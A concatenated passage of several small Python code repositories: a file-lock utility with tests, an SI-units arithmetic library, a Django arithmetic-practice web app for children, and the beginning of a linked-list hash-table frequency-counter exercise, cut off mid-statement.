doesn't exist") def acquire(self, force=False): """ Create the lock-file, and stamp on it that it was made by me! Parameters ========== force : bool If the lock already exists, force switching ownership to me so `self.mine==True`. Defaults to False """ if self.locked and not force: raise LockError("Attempted to acquire on already locked lock!") self.path.write_text(self.name) def release(self, force=False, rerelease=True): """ Release the lock. Will get upset if the lock isn't `self.mine` but can override by setting `force=True`. Parameters ========== force : bool force releasing the lock, even if not `self.mine`. (default `False`) rerelease : when `True` will not complain if attempting to release and already released lock. (default `True`) Returns ======= name : str the name of the lock that was just released (None if no lock was released) """ if not self.locked: if not rerelease: raise LockError("Attempted to release an already released lock") return None if not self.mine and not force: raise LockError("Attempted to release a lock that wasn't mine, can set `force=True`") name = self.path.read_text() os.remove(self.path.as_posix()) return name @property def release_on_exit(self): return self._do_release_on_exit @release_on_exit.setter def release_on_exit(self, do): if do: atexit.register(self.release) else: atexit.unregister(self.release) self._do_release_on_exit = do def wait(self, dt=0.01): """ Wait until lock is released. Parameters ========== dt : float how long to wait between checking for `self.locked` """ while self.locked: time.sleep(dt) def __enter__(self): self.acquire() def __exit__(self, exception_type, exception_value, traceback): self.release() def __bool__(self): return self.locked --- FILE SEPARATOR --- from pathlib import Path import sys sys.path.append(Path('.').absolute().as_posix()) from ezlock import Lock from test_ezlock import LDIR _, name = sys.argv l = Lock(LDIR / check) sys.exit(l.locked) --- FILE SEPARATOR --- from pathlib import Path import time import sys sys.path.append(Path('.').absolute().as_posix()) from ezlock import Lock from test_ezlock import LDIR _, name, do = sys.argv l = Lock(name) if do == 'lock': l.acquire() elif do == 'unlock': l.release(force=True) elif do == 'onexit': l.acquire(force=True) l.release_on_exit = True elif do == 'unonexit': l.acquire(force=True) l.release_on_exit = True l.release_on_exit = False elif do == 'wait': l.release(force=True) --- FILE SEPARATOR --- import subprocess from pathlib import Path import shutil import os import pytest from ezlock import Lock, LockError LDIR = Path('tests') / 'locks' @pytest.fixture def clear_locks(): if LDIR.exists(): shutil.rmtree(LDIR.as_posix()) LDIR.mkdir() def run_dolock(path, do): if isinstance(path, Path): path = path.as_posix() return subprocess.run(['python', 'tests/dolock.py', path, do]) def popen_dolock(path, do): if isinstance(path, Path): path = path.as_posix() return subprocess.Popen(['python', 'tests/dolock.py', path, do]) def test_attributes(clear_locks): lock = Lock(LDIR / 'attributes') with pytest.raises(LockError): assert not lock.mine assert lock.name == 'pid:{}, obj:{}'.format(os.getpid(), id(lock)) assert bool(lock) == False lock.acquire() assert bool(lock) == True def test_with(clear_locks): lock = Lock(LDIR / 'with') with lock: assert lock.locked assert lock.mine assert not lock.locked def test_same_process(clear_locks): lock1 = Lock(LDIR / 'same_process') lock2 = Lock(LDIR / 'same_process') lock1.acquire() assert lock1.locked assert lock2.locked assert lock1.mine assert not lock2.mine lock1.release() assert not lock1.locked assert not lock2.locked lock1.acquire() lock2.release(force=True) assert not lock1.locked assert not lock2.locked lock1.acquire() with pytest.raises(LockError): lock2.acquire() lock1.release() with pytest.raises(LockError): lock2.release(rerelease=False) lock1.acquire() with pytest.raises(LockError): lock2.release() def test_other_process(clear_locks): lock = Lock(LDIR / "other_process") process = run_dolock(lock.path, 'lock') assert lock.locked process = run_dolock(lock.path, 'unlock') assert not lock.locked lock.acquire() assert lock.locked process = run_dolock(lock.path, 'unlock') assert not lock.locked def test_release_on_exit(clear_locks): lock = Lock(LDIR / 'release_on_exit') lock.release_on_exit = True assert lock.release_on_exit lock.release_on_exit = False assert not lock.release_on_exit lock.acquire() assert lock.locked process = run_dolock(lock.path, 'onexit') assert not lock.locked lock.acquire() assert lock.locked process = run_dolock(lock.path, 'unonexit') assert lock.locked def test_wait(clear_locks): lock = Lock(LDIR / 'wait') lock.acquire() assert lock.locked process = popen_dolock(lock.path, 'wait') assert lock.locked lock.wait() assert not lock.locked
[ "/ezlock/__init__.py", "/ezlock/lock.py", "/tests/checklock.py", "/tests/dolock.py", "/tests/test_ezlock.py" ]
0Hughman0/unitee
import pytest from unitee import SI def test_construct(): m1 = SI.m2 m2 = SI('m2') m3 = SI('1 m2') m4 = 1 * SI('m2') assert m1 == m2 == m3 == m4 def test_parsing(): assert SI.parse_name('km') == ('k', 'm') assert SI.parse_name('C') == ('', 'C') assert SI.parse_name('GC') == ('G', 'C') assert SI.parse_name('m') == ('', 'm') assert SI.parse_name('mm') == ('m', 'm') assert SI.parse_name('degC') == ('', 'degC') assert SI.parse_name('MdegC') == ('M', 'degC') assert SI.parse_name('dm') == ('d', 'm') with pytest.raises(ValueError): SI.parse_name('o') with pytest.raises(ValueError): SI.parse_name('ko') with pytest.raises(ValueError): SI.parse_name('oo') meter = SI.units['m']() milimeter = meter.with_prefix('m') assert SI.parse_expr('m') == meter.as_quantity() assert SI.parse_expr('mm') == milimeter.as_quantity() assert SI.parse_expr('m2') == SI.parse_expr('m^2') == meter.as_quantity() ** 2 assert SI.parse_expr('mm2') == SI.parse_expr('mm^2') == milimeter.as_quantity() ** 2 assert SI.parse_expr('mm500') == SI.parse_expr('mm^500') == milimeter.as_quantity() ** 500 kg = SI.units['kg']() assert SI.parse_expr('m.kg') == meter.as_quantity() * kg.as_quantity() assert SI.parse_expr('m2.kg') == (meter.as_quantity() ** 2) * kg.as_quantity() def test_arithmatic(): meter = 1 * SI.m twometer = 2e9 * SI.nm coloumb = 3 * SI.C assert meter + meter == 2 * SI.m assert twometer * twometer == SI('4e18 nm2') assert meter != twometer assert twometer > meter assert twometer >= meter assert SI('999.9 m') < SI('1 km') assert not twometer > twometer assert twometer >= twometer assert meter < twometer assert meter <= twometer assert not meter < meter assert meter <= meter with pytest.raises(ValueError): twometer + meter with pytest.raises(ValueError): twometer + coloumb def test_conversions(): F = SI('15 kN') assert F.to_base() == SI('15000 kg.m.s-2') assert F.no_prefix() == SI('15000 N') W = F * 10 * SI.m assert W.to('kJ') == SI('150 kJ') with pytest.raises(ValueError): F.to('J') v = 15 * SI.m / SI.s assert v.swap('m', 'km') == SI('0.015 km.s-1') assert v.to('m.h-1') == 15 * 3600 * SI('m.h-1') def test_unitdefs(): with pytest.raises(AssertionError): SI.add_unit('in', 'inches', False, SI('2.54 cm')) SI.add_unit('in', 'inches', False, SI('2.54e-2 m')) L_in = SI('12 in') L_cm = SI('30 cm') assert L_in > L_cm assert L_in < SI('31 cm') --- FILE SEPARATOR --- from .unitee import SI, UnitSystem --- FILE SEPARATOR --- from __future__ import annotations import functools import csv from abc import abstractmethod from collections import namedtuple import pathlib import types from typing import Any, Mapping, Tuple, Iterable, Union, Callable def _iter_csv_table(file, skiprows=1): with open(file, newline='') as fp: ireader = csv.reader(fp) next(ireader) # skip first row for line in ireader: yield line Prefix = namedtuple('Prefix', ['symbol', 'name', 'val']) class _UnitBaseCls: """ Base class for creating Unit types. Each unit has a type, and unit instances have one attribute - `unit.prefix`. This class should not be used directly, instead new `Unit` types should be created using `UnitSystem.add_unit`. """ unit_system: UnitSystem = None symbol: str = None name: str = None base: _Quantity = None base_unit: bool = None def __init__(self, prefix: str=''): self.prefix = self.unit_system.prefixes[prefix] @property def is_base(self) -> bool: return self.__class__.base_unit and self.prefix.symbol == '' @property def prefix_val(self) -> float: return self.prefix.val def as_quantity(self) -> _Quantity: return self.unit_system.Quantity(1, {self: 1}) def with_prefix(self, prefix:str ='') -> _UnitBaseCls: """ Returns new Unit instance with different prefix """ return self.__class__(prefix) def __str__(self) -> str: return f"{self.prefix.symbol}{self.symbol}" @property def long_name(self) -> str: """ string representation without symbols """ return f"{self.prefix.name} {self.name}" if self.prefix.symbol else self.name def __repr__(self) -> str: return f"<{self.__class__.__name__} prefix='{self.prefix}'>" def __hash__(self) -> int: return hash((self.prefix, self.symbol)) def __eq__(self, other: Any) -> bool: return self.prefix == other.prefix and self.symbol == other.symbol class UnitSystem: """ Base class for defining unit systems i.e. a set of prefixes, units and constants. Also parses expressions to create `Quantity` objects. """ linear_fmt: str = '{unit.prefix.symbol}{unit.symbol}' exp_fmt: str = '{unit.prefix.symbol}{unit.symbol}^{exp}' suffix_sep: str = ' ' unit_sep: str = '.' def __init__(self): class Quantity(_Quantity): unit_system = self self.Quantity: _Quantity = Quantity class UnitBaseCls(_UnitBaseCls): unit_system = self self.UnitBaseCls: _UnitBaseCls = UnitBaseCls self.prefixes: Mapping[str, Prefix] = {} self._units: Mapping[str, _UnitBaseCls] = {} self.consts: Mapping[str, _Quantity] = {} self.load_prefixes() self.load_base_units() self.load_derived_units() self.load_consts() @property def units(self) -> MappingProxyType: """ Immutable copy of `self._units`, prevents naughty manual insersion of units! """ return types.MappingProxyType(self._units) @property def base_units(self) -> MappingProxyType: return MappingProxyType({symbol: unit for symbol, unit in self.units.items() if unit.base}) @property def config_dir(self) -> pathlib.Path: """ Directory where configuration csvs are loaded from by default """ return pathlib.Path(__file__).parent def add_unit(self, symbol: str, name: str, base_unit: bool, base: _Quantity=None) -> _UnitBaseCls: """ Add a new unit to this UnitSystem """ if base: assert all(unit.is_base for unit, exp in base) Unit = type(f'Unit<{name}({symbol})>', (self.UnitBaseCls,), {'symbol': symbol, 'name': name, 'base': base, 'base_unit': base_unit}) if base is None: Unit.base = Unit().as_quantity() self._units[symbol] = Unit return Unit def parse_expr(self, expr: str) -> _Quantity: """ Parse a unit expression into a Quantity. expr must be a series of units and exponents, separated by `'.'` with no spaces. Exponents can just be integers, or separated by `'^'` e.g. >>> SI.parse_expr('kg.m.s-2') 1.0 kg.m.s^-2 """ if not expr: return 1.0 if '/' in expr: raise ValueError("Cannot parse expressions using /, please use negative powers") expr = expr.replace('^', '') # no need parts = expr.split('.') out = 1.0 for part in parts: part = list(part) symbol = [] while part and part[0].isalpha(): symbol.append(part.pop(0)) symbol = ''.join(symbol) exp = ''.join(part) if exp: exp = int(exp) else: exp = 1 out *= self.get_unit(symbol) ** exp return out def parse_name(self, name: str) -> Tuple[str, str]: """ Splits a name into a prefix and symbol e.g. >>> SI.parse_name('km') ('k', 'm') Only works with symbols, not names. """ if name in self.units: return '', name try: prefix, *symbol = name except ValueError: raise ValueError(f"Cannot parse name {name}") symbol = ''.join(symbol) if prefix in self.prefixes and symbol in self.units: return prefix, symbol raise ValueError(f"Cannot parse name {name}") def get_unit(self, name: str) -> _Quantity: """ Gets a `Quantity` representing a unit (including prefix) from its name. """ prefix, symbol = self.parse_name(name) if symbol not in self.units: raise ValueError(f"Cannot find unit matching symbol {symbol}") Unit = self.units[symbol] return Unit(prefix).as_quantity() def order_units(self, units: Mapping[str, _UnitBaseCls]) -> Iterable[_UnitBaseCls, int]: """ Used to order units before rendering. """ return sorted(((unit, exp) for unit, exp in units.items()), key=lambda v: (-v[-1], v[-2].symbol)) def format_suffix(self, ordered_units: Iterable[_UnitBaseCls, int]) -> str: """ Create a suffix string for a given iterable of units. This is added to the float representation of a `Quantity`. """ return self.suffix_sep + self.unit_sep.join(self.linear_fmt.format(unit=unit) if exp == 1 else self.exp_fmt.format(unit=unit, exp=exp) for unit, exp in ordered_units) def __getitem__(self, name: str) -> _Quantity: """ Get a constant by its symbol """ return self.consts[name] def __call__(self, expr: str) -> _Quantity: """ Parse a string representation of a Quantity, i.e. a scalar and its units. units and scalar are separated by a `' '`. units are parsed with `self.parse_expr`. """ try: val, units = expr.split(' ') except ValueError: val = 1.0 units = expr return float(val) * self.parse_expr(units) def __getattr__(self, name: str) -> Any: try: return self.__call__(name) except ValueError: raise AttributeError(name) @abstractmethod def load_prefixes(self) -> None: """ Method called to fill `self.prefixes`. Automatically called during creation of a `UnitSystem` instance. Called first. """ pass @abstractmethod def load_base_units(self) -> None: """ Method called to fill `self._units` with base units. Automatically called during creation of a `UnitSystem` instance. Called second. """ pass @abstractmethod def load_derived_units(self) -> None: """ Method called to fill `self._units` with derived_units units. Automatically called during creation of a `UnitSystem` instance. Called third. """ pass @abstractmethod def load_consts(self) -> None: """ Method called to fill `self.consts`. Automatically called during creation of a `UnitSystem` instance. Called forth. """ pass class SISystem(UnitSystem): """ SI unit system. As defined https://simple.wikipedia.org/wiki/International_System_of_Units """ def load_prefixes(self): for name, symbol, value in _iter_csv_table(self.config_dir / 'prefixes.csv'): self.prefixes[symbol] = Prefix(name=name, symbol=symbol, val=float(value)) def load_base_units(self): for name, symbol in _iter_csv_table(self.config_dir / 'base_units.csv'): self.add_unit(symbol, name, True, None) def load_derived_units(self): for name, symbol, val, expr in _iter_csv_table(self.config_dir / 'derived_units.csv'): if expr: val = float(val) base = self.parse_expr(expr) self.add_unit(symbol, name, False, val * base) else: self.add_unit(symbol, name, False, None) def load_consts(self): for name, val, units in _iter_csv_table(self.config_dir / 'consts.csv'): self.consts[name] = float(val) * self.parse_expr(units) class _Quantity(float): unit_system: UnitSystem = None def __new__(cls, val: float, units: Mapping[_UnitBaseCls, int]=None): obj = super().__new__(cls, val) if units is None: units = {} obj._units: Mapping[_UnitBaseCls, int] = units obj._is_base: bool = all(unit.is_base for unit in units) return obj @property def units(self) -> _Quantity: """ Quantity representation of units """ out = 1.0 for unit, exp in self._units.items(): out *= unit.as_quantity() ** exp return out @property def scalar(self) -> float: """ Scalar value of self (ignores prefixes) """ return float(self) @property def is_base(self): return self._is_base def _reciprocate_units(self): return {unit: -exp for unit, exp in self._units.items()} def _combine_unit_dict(self, first, second): new = first.copy() for unit, exp in second.items(): if unit in new: new[unit] += exp else: new[unit] = exp return new def _change_unit(self, current: _Quantity, to: _Quantity, safe: bool=True) -> _Quantity: current_factor = current.to_base() to_factor = to.to_base() if safe and not current_factor.comparable(to_factor): raise ValueError(f"Trying to swap non-equivalent units: {current} and {to}") return self * (current_factor / to_factor) * to / current def combinable(self, other: Any) -> bool: """ Does `other` share the same units to `self`? """ return isinstance(other, self.unit_system.Quantity) and self._units == other._units def comparable(self, other: Any) -> bool: """ Are `other`'s units equivalent to `self`? """ return isinstance(other, self.unit_system.Quantity) and self.to_base()._units == other.to_base()._units def no_prefix(self) -> _Quantity: """ New `Quantity` with all prefixes removed - maintains equivalent value """ factor = 1 for unit, exp in self._units.items(): factor *= unit.prefix_val ** exp return self.__class__(self * factor, {unit.with_prefix(''): exp for unit, exp in self._units.items()}) def to_base(self) -> _Quantity: """ Create new `Quantity` from `self`, but with all units converted to `base` units. (Also removes prefixes). """ out = self.no_prefix() for unit, exp in out._units.items(): out *= (unit.base ** exp) / (unit.as_quantity() ** exp) return out def swap(self, current: Union[str, _Quantity], to: Union[str, _Quantity], safe: bool=True) -> _Quantity: """ Create new `Quantity`, but with `current` unit substituted for `to`. If `safe=True`, will check if `current` and `to` are equivalent, and raise an exception if not. Accepts `str` or `Quantity`s as `current` or `to`. """ if isinstance(current, str): current = self.unit_system.parse_expr(current) if isinstance(to, str): to = self.unit_system.parse_expr(to) return self._change_unit(current, to, safe=safe) def to(self, to: Union[str, _Quantity]) -> _Quantity: """ Shorthand for `self.change_unit(self.units, to, True)` i.e. create a new `Quantity` where all of `self`'s units have been replaced by `to`. """ if isinstance(to, str): to = self.unit_system.parse_expr(to) return self._change_unit(self.units, to, True) def _uniterize(method: Callable[[Any], Mapping[_UnitBaseCls, int]]) -> Callable[[Any], _Quantity]: """ Convert a float to one that returns a Quantity. The wrapped method must return the appropriate units after that operation (not perform the operation itself!) """ @functools.wraps(method) def wrapped(self, other): result = self.__class__(getattr(super(), method.__name__)(other)) return self.unit_system.Quantity(result, {k: v for k, v in method(self, other).items() if v != 0}) return wrapped def _require_combinable(method: Callable[[Any], _Quantity]) -> Callable[[Any], _Quantity]: """ Wraps a method in a combinability check. """ @functools.wraps(method) def wrapped(self, other): if not self.combinable(other): raise ValueError(f"Tried to {method.__name__} with quantities without matching units: {self} and {other}") return method(self, other) return wrapped def _try_make_comparable(method: Callable[[Any], _Quantity]) -> Callable[[Any], _Quantity]: """ Try to convert self and other to make comparable """ @functools.wraps(method) def wrapped(self, other): if not self.combinable(other) and not self.comparable(other): raise ValueError(f"Tried to {method.__name__} with inequivalent units: {self} and {other}") elif not self.is_base or not other.is_base: return getattr(self.to_base(), method.__name__)(other.to_base()) return method(self, other) return wrapped @_uniterize @_require_combinable def __add__(self, other): return self._units @_uniterize @_require_combinable def __radd__(self, other): return self._units @_uniterize @_require_combinable def __sub__(self, other): return self._units @_uniterize @_require_combinable def __rsub__(self, other): return self._units @_uniterize def __pow__(self, other): if isinstance(other, self.unit_system.Quantity): raise ValueError("Cannot raise to the power of other units") return {unit: exp * other for unit, exp in self._units.items()} @_uniterize def __mul__(self, other): if isinstance(other, self.unit_system.Quantity): return self._combine_unit_dict(self._units, other._units) return self._units @_uniterize def __rmul__(self, other): if isinstance(other, self.unit_system.Quantity): return self._combine_unit_dict(self._units, other._units) return self._units @_uniterize def __truediv__(self, other): if isinstance(other, self.unit_system.Quantity): return self._combine_unit_dict(self._units, other._reciprocate_units()) return self._units @_uniterize def __rtruediv__(self, other): if isinstance(other, self.unit_system.Quantity): return self._combine_unit_dict(self._reciprocate_units(), other._units) return self._units @_try_make_comparable def __eq__(self, other): return super().__eq__(other) @_try_make_comparable def __ne__(self, other): return super().__ne__(other) @_try_make_comparable def __lt__(self, other): return super().__lt__(other) @_try_make_comparable def __le__(self, other): return super().__le__(other) @_try_make_comparable def __gt__(self, other): return super().__gt__(other) @_try_make_comparable def __ge__(self, other): return super().__ge__(other) def __iter__(self): return iter(self._units.items()) def __repr__(self): return super().__repr__() + self.unit_system.format_suffix(self.unit_system.order_units(self._units)) def __str__(self): return self.__repr__() def __format__(self, spec): suffix = self.unit_system.format_suffix(self.unit_system.order_units(self._units)) return super().__format__(spec) + suffix if spec else super().__str__() + suffix SI = SISystem()
[ "/tests.py", "/unitee/__init__.py", "/unitee/unitee.py" ]
0LL13/kleine-rechenschule
from django import forms from django.core.exceptions import ValidationError class AnswerForm(forms.Form): answer_1 = forms.IntegerField(label='answer', required=False) answer_2 = forms.IntegerField(label='answer', required=False) answer_3 = forms.IntegerField(label='answer', required=False) answer_4 = forms.IntegerField(label='answer', required=False) answer_5 = forms.IntegerField(label='answer', required=False) answer_6 = forms.IntegerField(label='answer', required=False) answer_7 = forms.IntegerField(label='answer', required=False) answer_8 = forms.IntegerField(label='answer', required=False) answer_9 = forms.IntegerField(label='answer', required=False) answer_10 = forms.IntegerField(label='answer', required=False) def clean_answers(self): if self.is_valid(): answers = self.cleaned_data return answers raise ValidationError(message='Invalid value', code='invalid') def correct_answers(self, task_list, answers, no_of_tasks): total_correct_answers = 0 answered_tasks = [] # helper to get the form_field name index = 1 for task in task_list: x, y, operation, correct_result = task if index > no_of_tasks: break if answers[f'answer_{index}'] is None: answer = '?' answered_tasks.append((x, y, operation, correct_result, answer, total_correct_answers)) index += 1 continue answer = int(answers[f'answer_{index}']) if answer == correct_result: total_correct_answers += 1 answered_tasks.append((x, y, operation, correct_result, answer, total_correct_answers)) index += 1 return answered_tasks --- FILE SEPARATOR --- # krs/tests.py # -*- coding: utf-8 -*- from django.test import SimpleTestCase from django.core.exceptions import ValidationError from django.test import Client from .forms import AnswerForm from .views import Plus_Minus_in_10spacePageView class SimpleTests(SimpleTestCase): def test_home_page_status_code(self): response = self.client.get('/') assert response.status_code == 200 def test_about_page_status_code(self): response = self.client.get('/about/') assert response.status_code == 200 def test_aufgaben_page_status_code(self): response = self.client.get('/aufgaben/') assert response.status_code == 200 def test_ten_space_page_status_code(self): response = self.client.get('/ten_space/') assert response.status_code == 200 def test_zwanzigerraum_page_status_code(self): response = self.client.get('/zwanzigerraum/') assert response.status_code == 200 def test_hunderterraum_page_status_code(self): response = self.client.get('/hunderterraum/') assert response.status_code == 200 def test_tausenderraum_page_status_code(self): response = self.client.get('/tausenderraum/') assert response.status_code == 200 def test_kleines1x1_page_status_code(self): response = self.client.get('/kleines1x1/') assert response.status_code == 200 def test_groszes1x1_page_status_code(self): response = self.client.get('/großes1x1/') assert response.status_code == 200 def test_plus_in_10space_page_status_code(self): response = self.client.get('/plus_in_10space/') assert response.status_code == 200 def test_plus_in_10space_check_page_status_code(self): response = self.client.get('/plus_in_10space_check/') assert response.status_code == 200 def test_minus_in_10space_page_status_code(self): response = self.client.get('/minus_in_10space/') assert response.status_code == 200 def test_minus_in_10space_check_page_status_code(self): response = self.client.get('/minus_in_10space_check/') assert response.status_code == 200 class AnswerFormTest(SimpleTestCase): def test_AnswerForm_clean_answers(self): form = AnswerForm() with self.assertRaises(ValidationError): form.clean_answers() def test_AnswerForm_correct_answers(self): no_of_tasks = 3 op = " + " answers = {'answer_1': 3, 'answer_2': 5, 'answer_3': 6} task_list = [(0, 3, op, 3), (5, 1, op, 6), (4, 2, op, 6)] form = AnswerForm() answered_tasks = form.correct_answers(task_list, answers, no_of_tasks) assert answered_tasks[no_of_tasks - 1][5] == 2 def test_AnswerForm_correct_answers_break_bc_index_greater_no_of_tasks(self): # noqa no_of_tasks = 0 op = " + " answers = {'answer_1': 3, 'answer_2': 5, 'answer_3': 6} task_list = [(0, 3, op, 3), (5, 1, op, 6), (4, 2, op, 6)] form = AnswerForm() answered_tasks = form.correct_answers(task_list, answers, no_of_tasks) assert answered_tasks == [] class Plus_in_10spaceTests(SimpleTestCase): def test_plus_in_10space_post_method(self): answers = {'answer_1': 3, 'answer_2': 7, 'answer_3': 6} op = " + " tasks = [(0, 3, op, 3), (5, 1, op, 6), (4, 2, op, 6)] data = {'task_list': tasks, 'answers': answers} response = self.client.post(('/plus_in_10space/'), data) assert response.status_code == 200 self.assertContains(response, "Antworten prüfen") def test_plus_in_10space_post_method_wo_tasks(self): c = Client() with self.assertRaises(AttributeError): c.post(('/plus_in_10space/'), []) class Minus_in_10spaceTests(SimpleTestCase): def test_minus_in_10space_post_method(self): answers = {'answer_1': 3, 'answer_2': 7, 'answer_3': 6} op = " - " tasks = [(0, 3, op, 3), (5, 1, op, 6), (4, 2, op, 6)] data = {'task_list': tasks, 'answers': answers} response = self.client.post(('/minus_in_10space/'), data) assert response.status_code == 200 self.assertContains(response, "Antworten prüfen") def test_minus_in_10space_post_method_wo_tasks(self): c = Client() with self.assertRaises(AttributeError): c.post(('/minus_in_10space/'), []) class Plus_Minus_in_10spaceTests(SimpleTestCase): view = Plus_Minus_in_10spacePageView() def test_plus_minus_in_10space_get_context_data(self): context = self.view.get_context_data() assert 'task_list' in context def test_plus_minus_in_10space_post_method(self): answers = {'answer_1': 3, 'answer_2': 7, 'answer_3': 6} op = "operation" task_list = [(0, 3, op, 3), (5, 1, op, 6), (4, 2, op, 6)] data = {'task_list': task_list, 'answers': answers} response = self.client.post(('/plus_minus_in_10space/'), data) assert response.status_code == 200 self.assertContains(response, "Antworten prüfen") def test_plus_minus_in_10space_post_method_wo_tasks(self): c = Client() with self.assertRaises(AttributeError): c.post(('/plus_minus_in_10space/'), []) # def test_plus_minus_in_10space_generate_task_w_result_greater_10(self): # tasks = self.view.generate_plus_minus_in_10space_tasks() # print(tasks) --- FILE SEPARATOR --- # krs/urls.py from django.urls import path from .views import ( HomePageView, AboutPageView, AufgabenPageView, TenSpacePageView, ZwanzigerraumPageView, HunderterraumPageView, TausenderraumPageView, Kleines1x1PageView, Groszes1x1PageView, Plus_in_10spacePageView, Minus_in_10spacePageView, Plus_in_10space_checkPageView, Minus_in_10space_checkPageView, Plus_Minus_in_10spacePageView, Plus_Minus_in_10space_checkPageView, ) urlpatterns = [ path('zwanzigerraum/', ZwanzigerraumPageView.as_view(), name='zwanzigerraum'), # noqa path('ten_space/', TenSpacePageView.as_view(), name='ten_space'), # noqa path('tausenderraum/', TausenderraumPageView.as_view(), name='tausenderraum'), # noqa path('plus_in_10space/', Plus_in_10spacePageView.as_view(), name='plus_in_10space'), # noqa path('minus_in_10space/', Minus_in_10spacePageView.as_view(), name='minus_in_10space'), # noqa path('plus_in_10space_check/', Plus_in_10space_checkPageView.as_view(), name='plus_in_10space_check'), # noqa path('minus_in_10space_check/', Minus_in_10space_checkPageView.as_view(), name='minus_in_10space_check'), # noqa path('plus_minus_in_10space/', Plus_Minus_in_10spacePageView.as_view(), name='plus_minus_in_10space'), # noqa path('plus_minus_in_10space_check/', Plus_Minus_in_10space_checkPageView.as_view(), name='plus_minus_in_10space_check'), # noqa path('kleines1x1/', Kleines1x1PageView.as_view(), name='kleines1x1'), # noqa path('hunderterraum/', HunderterraumPageView.as_view(), name='hunderterraum'), # noqa path('großes1x1/', Groszes1x1PageView.as_view(), name='großes1x1'), # noqa path('aufgaben/', AufgabenPageView.as_view(), name='aufgaben'), path('about/', AboutPageView.as_view(), name='about'), path('', HomePageView.as_view(), name='home'), ] --- FILE SEPARATOR --- import random from django.views.generic import TemplateView from django.shortcuts import render from .forms import AnswerForm class Plus_in_10spacePageView(TemplateView): template_name = 'plus_in_10space.html' success_html = 'plus_in_10space_check.html' no_of_tasks = 10 @classmethod def generate_plus_in_10space_tasks(self): """ Generate tasks containing two addends with a sum less or equal 10. """ task_list = [] for _ in range(self.no_of_tasks): while True: x = random.randint(0, 9) y = random.randint(0, 9) result = x + y if result <= 10: operation = " + " task_list.append((x, y, operation, result)) break self.task_list = task_list return task_list def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) # noqa context['task_list'] = self.generate_plus_in_10space_tasks() self.context = context return context def post(self, request): task_list = self.task_list no_of_tasks = self.no_of_tasks form = AnswerForm(request.POST) answers = form.clean_answers() print('answers', answers) answered_tasks = form.correct_answers(task_list, answers, no_of_tasks) return render(request, self.success_html, {'answered_tasks': answered_tasks} ) class Plus_in_10space_checkPageView(TemplateView): template_name = 'plus_in_10space_check.html' class Minus_in_10spacePageView(TemplateView): template_name = 'minus_in_10space.html' success_html = 'minus_in_10space_check.html' no_of_tasks = 10 @classmethod def generate_minus_in_10space_tasks(self): """ Generate tasks containing a minuend and a subtrahend with a difference higher or equal 0. """ task_list = [] for _ in range(self.no_of_tasks): while True: x = random.randint(0, 9) y = random.randint(0, 9) result = x - y if result >= 0: operation = " - " task_list.append((x, y, operation, result)) break self.task_list = task_list return task_list def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) # noqa context['task_list'] = self.generate_minus_in_10space_tasks() self.context = context return context def post(self, request): task_list = self.task_list no_of_tasks = self.no_of_tasks form = AnswerForm(request.POST) answers = form.clean_answers() print('answers', answers) answered_tasks = form.correct_answers(task_list, answers, no_of_tasks) return render(request, self.success_html, {'answered_tasks': answered_tasks} ) class Minus_in_10space_checkPageView(TemplateView): template_name = 'minus_in_10space_check.html' class Plus_Minus_in_10spacePageView(TemplateView): template_name = 'plus_minus_in_10space.html' success_html = 'plus_minus_in_10space_check.html' no_of_tasks = 10 @classmethod def generate_plus_minus_in_10space_tasks(self): """ Generate tasks containing two addends with a sum less or equal 10 or tasks containing a minuend and a subtrahend with a difference higher or equal 0. The number of plus tasks and the number of minus tasks is also random. """ task_list = [] # https://stackoverflow.com/a/6486895/6597765 plus_minus = [random.randint(1, 2) for i in range(self.no_of_tasks)] for i in range(self.no_of_tasks): x = random.randint(0, 9) y = random.randint(0, 9) if plus_minus[i] == 1: task_list = self.subtraction_task(task_list, x, y) else: task_list = self.addition_task(task_list, x, y) self.task_list = task_list return task_list def addition_task(task_list, x, y): while True: result = x + y if result <= 10: operation = " + " task_list.append((x, y, operation, result)) break else: x = random.randint(0, 9) y = random.randint(0, 9) return task_list def subtraction_task(task_list, x, y): while True: result = x - y if result >= 0: operation = " - " task_list.append((x, y, operation, result)) break else: x = random.randint(0, 9) y = random.randint(0, 9) return task_list def get_context_data(self, **kwargs): context = super().get_context_data(**kwargs) # noqa context['task_list'] = self.generate_plus_minus_in_10space_tasks() self.context = context return context def post(self, request): task_list = self.task_list no_of_tasks = self.no_of_tasks form = AnswerForm(request.POST) answers = form.clean_answers() print('answers', answers) answered_tasks = form.correct_answers(task_list, answers, no_of_tasks) return render(request, self.success_html, {'answered_tasks': answered_tasks} ) class Plus_Minus_in_10space_checkPageView(TemplateView): template_name = 'plus_minus_in_10space_check.html' class HomePageView(TemplateView): template_name = 'index.html' class AboutPageView(TemplateView): template_name = 'about.html' class AufgabenPageView(TemplateView): template_name = 'aufgaben.html' class TenSpacePageView(TemplateView): template_name = 'ten_space.html' class ZwanzigerraumPageView(TemplateView): template_name = 'zwanzigerraum.html' class HunderterraumPageView(TemplateView): template_name = 'hunderterraum.html' class TausenderraumPageView(TemplateView): template_name = 'tausenderraum.html' class Kleines1x1PageView(TemplateView): template_name = 'kleines1x1.html' class Groszes1x1PageView(TemplateView): template_name = 'großes1x1.html'
[ "/krs/forms.py", "/krs/tests.py", "/krs/urls.py", "/krs/views.py" ]
0Lilymoon0/CS-1.2-Frequency-Counter
from LinkedList import LinkedList class HashTable: def __init__(self, size): self.size = size self.arr = self.create_arr(size) def create_arr(self, size): temp = [] for i in range(size): temp.append(LinkedList()) return temp def hash_func(self, key): key_length = len(key) index = key_length % self.size return index # 3️⃣ TODO: Complete the insert method. # Should insert a key value pair into the hash table, where the key is the word and the value is a counter for the number of times the word appeared. When inserting a new word in the hash table, be sure to check if there is a Node with the same key in the table already. def insert(self, key, value): # Calculated the index index = self.hash_func(key) # we got the linked list we need to insert into ll = self.arr[index] # we check if it already exists in the linked list index_in_linkedlist = ll.find(key) # If not found if index_in_linkedlist == -1: item = (key, value) ll.append(item) else: self.arr[index].put(key) # 4️⃣ TODO: Modify print_nodes() in LinkedList class to be formatted correctly (see instructions) def print_key_values(self): for ll in self.arr: ll.print_nodes() --- FILE SEPARATOR --- from Node import Node class LinkedList: def __init__(self): self.head = None def append(self, new_data): new_node = Node(new_data) new_node.next = self.head self.head = new_node def find(self,item): current = self.head found = False counter = 0 while current != None and not found: if current.data[0] == item: return counter else: current = current.next counter += 1 if found: return counter else: return -1 def length(self): if self.head == None: return 0 else: counter = 1 current = self.head while(current.next): current = current.next counter +=1 return counter # Change this to match instructions def print_nodes(self): current = self.head if current != None: # print('The linked list is empty.') for i in 